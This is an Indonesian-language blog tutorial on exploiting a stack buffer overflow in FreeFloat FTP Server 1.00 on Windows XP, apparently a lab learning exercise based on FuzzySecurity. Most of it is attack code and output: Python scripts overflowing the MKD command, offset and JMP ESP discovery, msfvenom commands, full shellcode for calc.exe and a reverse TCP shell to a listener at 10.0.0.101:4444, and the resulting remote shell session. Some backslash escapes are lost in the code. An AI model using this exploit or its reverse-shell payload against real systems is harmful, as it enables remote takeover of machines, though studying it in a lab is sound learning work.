Belajar dengan berlatih: Memulai Pengembangan Eksploitasi Windows

  • Whatsapp
Belajar dengan berlatih: Memulai Pengembangan Eksploitasi Windows

[*]News.nextcloud.asia

Serangkaian posting ini didasarkan pada upaya saya untuk memperluas pengetahuan saya tentang Pengembangan Eksploitasi Windows. Posting ini didasarkan pada pemahaman Stack Based (Remote) Buffer Overflows dari perspektif Windows dan mengeksploitasi yang sama.

Sebelum kita mulai, saya harus menyatakan dengan jelas bahwa informasi ini didasarkan pada panduan yang diberikan dari situs web fuzzysecurity.com seperti yang ditunjukkan di bagian referensi.

Bagi sebagian orang membaca materi saya mungkin lebih mudah, bagi yang lain membaca materi dari Fuzzy Security akan lebih mudah. Apa pun yang Anda pilih, harap perhatikan bahwa ini semua berdasarkan panduan yang diberikan oleh orang-orang itu dan karenanya tidak ada karya asli saya di sini.

Sekarang setelah hal-hal atribusi selesai, mari kita mulai.

Seperti blog saya menggunakan aplikasi FreeFloat FTP Server yang rentan (Versi 1.00)

Klaimnya adalah aplikasi ini rentan, jadi hal pertama yang harus diketahui adalah di mana ia jatuh.

Menggunakan kode Python di bawah ini kita dapat menguji kerentanan dengan 1000 byte pertama

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import socket

junk_data = "A" * 10000



def exploit_code():
 # setup network connection
 mySocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
 myConnection = mySocket.connect(('10.0.0.50',21))

 # make connection via FTP
 mySocket.recv(1024)
 mySocket.send('USER anonymousrn')
 mySocket.recv(1023)
 mySocket.send('PASS [email protected]')
 mySocket.recv(1024)
 mySocket.send('MKD ' + junk_data + 'rn')
 mySocket.recv(1024)
 mySocket.send('QUITrn')
 mySocket.close()

if __name__ == '__main__':
 exploit_code()

Setelah memulai server FTP dan melampirkan debugger kekebalan ke dalamnya, kemudian mengirimkan kode di atas, kita mendapatkan:

Dari apa yang dapat kita lihat di atas, program macet dan kita dapat melihat “A” kita adalah bagian dari Register ESP dan EDI.

Melihat tumpukan, kami juga melihat “A” ada di sana.

Dalam mencoba menentukan apakah ESP atau EDI memiliki lebih banyak As, pertama-tama saya melihat area memori dan menghitung di mana “A” mulai untuk ESP dan di mana ia berakhir. Saya kemudian melihat di mana “A” dimulai untuk EDI dan di mana itu berakhir.

Menemukan ukuran ESP yang kita lihat:
00B3FF0C – 00B3FC2C = 2E0 (736)

Menemukan ukuran EDI yang kita lihat:
003B1BFB – 003B1AFB = 100 (256)

Dari atas kami melihat ESP memiliki ruang paling banyak untuk kode eksploitasi kami. Sekarang mari kita lihat ini untuk melihat bagaimana kita bisa memaksimalkan ESP

Selanjutnya adalah waktu bagi kita untuk menemukan pointer kembali kita sehingga kita dapat menimpanya dan akhirnya menunjuk ke kode kita yang dieksploitasi yang akan kita tempatkan di tumpukan.

Untuk menemukan pola ini, mari manfaatkan “pattern_create.rb” Metasploit
./pattern_create.rb –panjang 1000

Mengambil pola dan memodifikasi skrip yang sekarang kita miliki:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import socket

junk_data = "A" * 1000

def exploit_code():
 # Pattern
 shellcode = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B'


 # setup network connection
 mySocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
 myConnection = mySocket.connect(('10.0.0.50',21))


 # make connection via FTP
 mySocket.recv(1024)
 mySocket.send('USER anonymousrn')
 mySocket.recv(1023)
 mySocket.send('PASS [email protected]')
 mySocket.recv(1024)
 mySocket.send('MKD ' + shellcode + 'rn')
 mySocket.recv(1024)
 mySocket.send('QUITrn')
 mySocket.close()

if __name__ == '__main__':
 exploit_code()

Sekali lagi kami melampirkan Imunitas ke Server FTP dan mengirimkan kode di atas. Ini menghasilkan yang berikut:

Melihat register EIP di atas, kita melihat pola “69413269”. Dalam mempertimbangkan endianess, lebih khusus, little endian, nilai multi-byte ini perlu disusun ulang menjadi “69324169” yang merupakan “i2Ai” di ASCII.

Ketika nilai “i2Ai” dikembalikan ke “pattern_offset.rb” Metasploit, kita mendapatkan:
./pattern_offset.rb –query i2Ai
[*] Pencocokan tepat pada offset 247

Sepertinya dibutuhkan 247 byte untuk sampai ke EIP kami. Mari kita mencari bantuan plugin mona.py Imunitas untuk memverifikasi ini. Kami akan memanfaatkan “findmsp” mona untuk mencari pola Metasploit.

Melihat output “findmsp” kita melihat:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
================================================================================
  Output generated by mona.py v2.0, rev 577 - Immunity Debugger
  Corelan Team - https://www.corelan.be
================================================================================
  OS : xp, release 5.1.2600
  Process being debugged : FTPServer (pid 544)
  Current mona arguments: findmsp
================================================================================
  2018-01-10 00:34:09
================================================================================
........ < truncated for brevity > ............
[+] Looking for cyclic pattern in memory
    Cyclic pattern (normal) found at 0x00b3fb29 (length 1000 bytes)
    Cyclic pattern (normal) found at 0x003b16f9 (length 1000 bytes)
    EIP contains normal pattern : 0x69413269 (offset 247)
    ESP (0x00b3fc2c) points at offset 259 in normal pattern (length 741)
    EDI (0x003b1afb) points at offset 743 in normal pattern (length 257)
........ < truncated for brevity > ............

Jadi kita melihat Mona juga melaporkan bahwa pola kita 0x69413269 berada pada offset 247

Sekarang mari kita ulang kode kita untuk memverifikasi bahwa kita dapat menimpa pointer EIP dengan nilai kita sendiri.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import socket

junk_data = "A" * 1000

def exploit_code():
 # Pattern
 shellcode = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B'


 # setup network connection
 mySocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
 myConnection = mySocket.connect(('10.0.0.50',21))


 # make connection via FTP
 mySocket.recv(1024)
 mySocket.send('USER anonymousrn')
 mySocket.recv(1023)
 mySocket.send('PASS [email protected]')
 mySocket.recv(1024)
 mySocket.send('MKD ' + 'A'*247 + 'BBBB' + 'C'*749 + 'rn')
 mySocket.recv(1024)
 mySocket.send('QUITrn')
 mySocket.close()

if __name__ == '__main__':
 exploit_code()

Ketika kode dikirim ke Server FTP, kami melihat yang berikut di Imunitas

Seperti yang kita lihat dari atas, EIP telah ditimpa dengan “BBBB” (42424242) sementara Cs kami dapat ditemukan di tumpukan tempat register ESP kami saat ini menunjuk bersama dengan di register EDI.

Sekarang saatnya kita mencari cara untuk “jmp” ke register ESP.

Memanfaatkan Mona sekali lagi. Kali ini kami menggunakan opsi “jmp -r esp” miliknya. Ini akan mencari poin yang memungkinkan kita untuk jmp ke tumpukan.

Memilih alamat pertama “7C9D30D7”, ingat nilai ini adalah Little Endian. Akibatnya, kita perlu mengubah urutan byte menjadi “d7309d7c”.

Memodifikasi kode:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import socket

junk_data = "A" * 1000

def exploit_code():
 # Pattern
 shellcode = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B'


 # setup network connection
 mySocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
 myConnection = mySocket.connect(('10.0.0.50',21))


 # make connection via FTP
 mySocket.recv(1024)
 mySocket.send('USER anonymousrn')
 mySocket.recv(1023)
 mySocket.send('PASS [email protected]')
 mySocket.recv(1024)
 mySocket.send('MKD ' + 'A'*247 + 'xd7x30x9dx7c' + 'C'*749 + 'rn')
 mySocket.recv(1024)
 mySocket.send('QUITrn')
 mySocket.close()

if __name__ == '__main__':
 exploit_code()

Kemudian melampirkan ke FTP Server proses dengan kekebalan.

Mirip dengan rekomendasi Fuzzy Security, saya menambahkan breakpoint pada alamat “7C9D30D7” yang mengarah ke “jmp esp” kemudian memulai komunikasi lagi dengan server FTP, kami mendapatkan yang berikut:

Seperti yang bisa kita lihat di atas, EIP kita menunjuk ke “jmp esp” yang pada dasarnya dikirim ke stack.

Saatnya meletakkan kode shell kita di tumpukan.

pertama-tama, mari manfaatkan MSFVenom Metasploit untuk menghasilkan muatan kami untuk meluncurkan “calc.exe”. Jika ini berhasil, maka kita dapat melihat mendapatkan akses melalui shell.

1
msfvenom --platform Windows --arch x86 --payload windows/exec CMD="calc.exe" --smallest --encoder x86/shikata_ga_nai --bad-chars 'x00x0Ax0D' --format c --iterations 1

Menempatkan shellcode kami yang dihasilkan ke dalam skrip kami, kami mendapatkan:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import socket

junk_data = "A" * 1000

def exploit_code():
 # Shellcode to launch calc.exe
 shellcode = (
"xb8xfax7bxe6xc9xdaxdfxd9x74x24xf4x5bx33xc9xb1"
"x31x31x43x13x03x43x13x83xc3xfex99x13x35x16xdf"
"xdcxc6xe6x80x55x23xd7x80x02x27x47x31x40x65x6b"
"xbax04x9exf8xcex80x91x49x64xf7x9cx4axd5xcbxbf"
"xc8x24x18x60xf1xe6x6dx61x36x1ax9fx33xefx50x32"
"xa4x84x2dx8fx4fxd6xa0x97xacxaexc3xb6x62xa5x9d"
"x18x84x6ax96x10x9ex6fx93xebx15x5bx6fxeaxffx92"
"x90x41x3ex1bx63x9bx06x9bx9cxeex7exd8x21xe9x44"
"xa3xfdx7cx5fx03x75x26xbbxb2x5axb1x48xb8x17xb5"
"x17xdcxa6x1ax2cxd8x23x9dxe3x69x77xbax27x32x23"
"xa3x7ex9ex82xdcx61x41x7ax79xe9x6fx6fxf0xb0xe5"
"x6ex86xcex4bx70x98xd0xfbx19xa9x5bx94x5ex36x8e"
"xd1x91x7cx93x73x3axd9x41xc6x27xdaxbfx04x5ex59"
"x4axf4xa5x41x3fxf1xe2xc5xd3x8bx7bxa0xd3x38x7b"
"xe1xb7xdfxefx69x16x7ax88x08x66")

 exploitCode = 'x90' * 20 + shellcode

 # setup network connection
 mySocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
 myConnection = mySocket.connect(('10.0.0.50',21))


 # make connection via FTP
 mySocket.recv(1024)
 mySocket.send('USER anonymousrn')
 mySocket.recv(1023)
 mySocket.send('PASS [email protected]')
 mySocket.recv(1024)
 mySocket.send('MKD ' + 'A'*247 + 'xd7x30x9dx7c' +  exploitCode + 'C'*(749-len(exploitCode)) + 'rn')
 mySocket.recv(1024)
 mySocket.send('QUITrn')
 mySocket.close()

if __name__ == '__main__':
 exploit_code()

Melihat tugas yang berjalan sebelum menjalankan skrip kami, kami melihat:

1
2
C:>tasklist | findstr "FTPServer" & tasklist | findstr "calc.exe"
FTPServer.exe               1984 Console                 0      2,296 K

Setelah skrip kami dieksekusi, kami mendapatkan:

1
2
3
C:>tasklist | findstr "FTPServer" & tasklist | findstr "calc.exe"
FTPServer.exe                124 Console                 0      2,292 K
calc.exe                     560 Console                 0      2,560 K

Sekarang kami tahu bahwa kami dapat menjalankan “calc.exe”, saatnya untuk mendapatkan akses melalui shell dan menyelesaikan kode kami.

Memanfaatkan Metasploit MSFVenom lagi untuk menyiapkan koneksi shell tcp terbalik ke handler Metasploit kami.:

1
msfvenom --platform Windows --arch x86 --payload windows/shell/reverse_tcp LHOST=10.0.0.101 LPORT=4444 --smallest --encoder x86/shikata_ga_nai --bad-chars 'x00x0Ax0D' --format c --iterations 1

Setelah menambahkan shellcode ke skrip kami, skrip terakhir kami sekarang terlihat seperti:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
"""
 This code is part of me learning exploit development in a Windows Environment
 Author: Nik Alleyne
 Author Blog: http://securitynik.blogspot.com
 Date: 2018-01-10
 Exploit For: FloatFTPServer ver 1.00

"""

import socket

def exploit_code():
 # The msfvenom output below was used to generate the shellcode used to establish the reverse_tcp shell
 # msfvenom --platform Windows --arch x86 --payload windows/shell/reverse_tcp LHOST=10.0.0.101 LPORT=4444 --smallest --encoder x86/shikata_ga_nai --bad-chars 'x00x0Ax0D' --format c --iterations 1

 shellcode = (
"xd9xc0xbdx72x6exfdx3fxd9x74x24xf4x58x29xc9xb1"
"x47x83xc0x04x31x68x14x03x68x66x8cx08xc3x6exd2"
"xf3x3cx6exb3x7axd9x5fxf3x19xa9xcfxc3x6axffxe3"
"xa8x3fx14x70xdcx97x1bx31x6bxcex12xc2xc0x32x34"
"x40x1bx67x96x79xd4x7axd7xbex09x76x85x17x45x25"
"x3ax1cx13xf6xb1x6exb5x7ex25x26xb4xafxf8x3dxef"
"x6fxfax92x9bx39xe4xf7xa6xf0x9fxc3x5dx03x76x1a"
"x9dxa8xb7x93x6cxb0xf0x13x8fxc7x08x60x32xd0xce"
"x1bxe8x55xd5xbbx7bxcdx31x3axafx88xb2x30x04xde"
"x9dx54x9bx33x96x60x10xb2x79xe1x62x91x5dxaax31"
"xb8xc4x16x97xc5x17xf9x48x60x53x17x9cx19x3ex7f"
"x51x10xc1x7fxfdx23xb2x4dxa2x9fx5cxfdx2bx06x9a"
"x02x06xfex34xfdxa9xffx1dx39xfdxafx35xe8x7ex24"
"xc6x15xabxd1xccx81x5ex26xd1x34x37x24xd1xa7x9b"
"xa1x37x97x73xe2xe7x57x24x42x58x3fx2ex4dx87x5f"
"x51x87xa0xf5xbex7ex98x61x26xdbx52x10xa7xf1x1e"
"x12x23xf6xdfxdcxc4x73xccx88x24xcexaex1ex3axe4"
"xc5x9exaex03x4cxc9x46x0exa9x3dxc9xf1x9cx36xc0"
"x67x5fx20x2dx68x5fxb0x7bxe2x5fxd8xdbx56x0cxfd"
"x23x43x20xaexb1x6cx11x03x11x05x9fx7ax55x8ax60"
"xa9x67xf6xb6x97x1dx16x0b")

 # variable for the exploide code
 exploitCode = 'x90' * 20 + shellcode

 # setup network socket connection to connect to the FTP server
 mySocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
 myConnection = mySocket.connect(('10.0.0.50',21))


 # make connection via FTP
 mySocket.recv(1024)

 # send login information - username anonymous
 mySocket.send('USER anonymousrn')

 # receive the resonse
 mySocket.recv(1023)

 # send the password - [email protected]
 mySocket.send('PASS [email protected]')

 # receive the response
 mySocket.recv(1024)

 # create a large directory and overflow the buffer
 mySocket.send('MKD ' + 'A'*247 + 'xd7x30x9dx7c' +  exploitCode + 'C'*(749-len(exploitCode)) + 'rn')

 # receive the response
 mySocket.recv(1024)

 # Quit the FTP session
 mySocket.send('QUITrn')

 # Close the socket connection
 mySocket.close()


if __name__ == '__main__':
 exploit_code()

Atur msfhandler untuk menerima koneksi masuk kami setelah eksploitasi berhasil:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
msf exploit(multi/handler) > use exploit/multi/handler
msf exploit(multi/handler) > set PAYLOAD windows/shell/reverse_tcp
PAYLOAD => windows/shell/reverse_tcp
msf exploit(multi/handler) > set LHOST 10.0.0.101
LHOST => 10.0.0.101
msf exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.0.0.101:4444 

Setelah multi handler dibuat, kami kemudian menjalankan skrip kami lagi untuk membuat koneksi dengan Server FTP dan kami mendapatkan …. Voila shell ….

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (267 bytes) to 10.0.0.50
[*] Command shell session 3 opened (10.0.0.101:4444 -> 10.0.0.50:1035) at 2018-01-11 00:43:04 -0500

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:Documents and SettingsSecurityNikDesktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is D86F-1D13

 Directory of C:Documents and SettingsSecurityNikDesktop

01/08/2018  01:35 AM    <DIR>          .
01/08/2018  01:35 AM    <DIR>          ..
01/04/2018  02:58 AM               745 Easy RM to MP3 Converter.lnk
04/29/2004  05:16 PM            57,344 FTPServer.exe
12/31/2017  10:26 PM               859 WinDbg (2).lnk
               3 File(s)         58,948 bytes
               2 Dir(s)   8,639,336,448 bytes free

C:Documents and SettingsSecurityNikDesktop>

Kami juga dapat melihat koneksi jaringan yang mengonfirmasi konektivitas kami

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
Active Connections

  Proto  Local Address          Foreign Address        State           PID
  TCP    0.0.0.0:21             0.0.0.0:0              LISTENING       124
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING       992
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING       4
  TCP    10.0.0.50:21           10.0.0.1:56388         ESTABLISHED     124
  TCP    10.0.0.50:139          0.0.0.0:0              LISTENING       4
  TCP    10.0.0.50:1035         10.0.0.101:4444        ESTABLISHED     124
  TCP    127.0.0.1:1026         0.0.0.0:0              LISTENING       1876

Kami juga dapat mengonfirmasi konektivitas lebih lanjut sebagai hasil dari melihat sesi Metasploit:

1
2
3
4
5
6
7
8
msf exploit(multi/handler) > sessions -l

Active sessions
===============

  Id  Name  Type               Information                                                                       Connection
  --  ----  ----               -----------                                                                       ----------
  3         shell x86/windows  Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Cor...  10.0.0.101:4444 -> 10.0.0.50:1035 (10.0.0.50)

Pada titik ini kita dapat menyimpulkan ini adalah latihan yang sukses dan dengan demikian dapat menutup posting ini.

Referensi:
https://www.fuzzysecurity.com/tutorials/expDev/2.html
https://www.corelan.be/index.php/2011/07/14/mona-py-the-manual/
https://www.offensive-security.com/metasploit-unleashed/Msfvenom/
https://github.com/rapid7/metasploit-framework/wiki/How-to-use-a-reverse-Shell-in-Metasploit

Pos terkait

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan.